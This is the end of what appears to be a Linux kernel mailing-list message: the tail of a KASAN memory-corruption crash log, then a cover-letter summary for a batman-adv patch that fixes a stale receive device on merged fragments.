[ 234.454348] [ C0] ffff88807cd19180: fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb fb
[ 234.454358] [ C0] >ffff88807cd19200: fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb fb
[ 234.454368] [ C0] ^
[ 234.454378] [ C0] ffff88807cd19280: fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb fb
[ 234.454388] [ C0] ffff88807cd19300: fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb fb
[ 234.454397] [ C0]
==================================================================
[ 234.454519] [ C0] Disabling lock debugging due to kernel taint
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
batman-adv: fix stale receive device on merged fragments
net/batman-adv/main.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.43.0
